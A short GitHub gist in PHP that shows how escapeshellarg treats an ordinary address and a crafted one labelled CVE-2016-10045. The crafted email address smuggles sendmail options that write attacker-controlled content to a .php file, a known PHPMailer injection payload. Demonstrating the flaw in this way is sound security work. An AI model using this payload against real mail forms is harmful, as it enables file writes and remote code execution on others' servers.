Skip to content

Instantly share code, notes, and snippets.

@ichikaway
Created December 28, 2016 06:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ichikaway/fc954cb73cad64b203aeaa853298ee41 to your computer and use it in GitHub Desktop.
Save ichikaway/fc954cb73cad64b203aeaa853298ee41 to your computer and use it in GitHub Desktop.
<?php
$address = "aaa bb cc";
echo escapeshellarg($address) . PHP_EOL; // 'aaa bb cc'
echo "----------------\n";
//CVE-2016-10045
$address = "\"attacker\' -oQ/tmp/ -X/tmp/phpmailertest/phpcode.php some\"@email.com";
echo escapeshellarg($address) . PHP_EOL; // '"attacker\'\'' -oQ/tmp/ -X/tmp/phpmailertest/phpcode.php some"@email.com'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment